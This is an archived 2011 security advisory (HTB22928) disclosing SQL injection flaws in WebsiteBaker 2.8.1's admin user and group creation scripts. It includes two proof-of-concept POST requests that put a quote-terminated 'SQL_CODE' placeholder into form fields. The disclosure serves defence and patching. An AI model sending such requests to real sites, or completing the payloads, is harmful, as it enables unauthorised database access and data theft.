[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22928: Multiple SQL Injections in WebsiteBaker



Vulnerability ID: HTB22928
Reference: http://www.htbridge.ch/advisory/multiple_sql_injections_in_websitebaker.html
Product: WebsiteBaker
Vendor: Website Baker Org ( http://www.websitebaker2.org/ ) 
Vulnerable Version: 2.8.1
Vendor Notification: 29 March 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users/add.php" script to properly sanitize user-supplied input. 
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:

[code]
POST /admin/users/add.php HTTP/1.1

user_id=&username_fieldname=username_1hnuvyv2&username_1hnuvyv2=test&password=password&password2=password&display_name=test&email=test%40test.com&home_folder=123'SQL_CODE&groups%5B%5D=123'SQL_CODE&active%5B%5D=1&submit=Add
[/code]

The vulnerability exists due to failure in the "/admin/groups/add.php" script to properly sanitize user-supplied input. 
The following PoC is available:

[code]
POST /admin/groups/add.php HTTP/1.1

advanced=no&group_id=&group_name=123%27SQL_CODE_HERE&module_permissions%5B%5D=code&module_permissions%5B%5D=form&module_permissions%5B%5D=menu_link&module_permissions%5B%5D=news&module_permissions%5B%5D=wrapper&module_permissions%5B%5D=wysiwyg&template_permissions%5B%5D=allcss&template_permissions%5B%5D=argos_theme&template_permissions%5B%5D=blank&template_permissions%5B%5D=classic_theme&template_permissions%5B%5D=round&template_permissions%5B%5D=simple&template_permissions%5B%5D=wb_theme&submit=Add
[/code]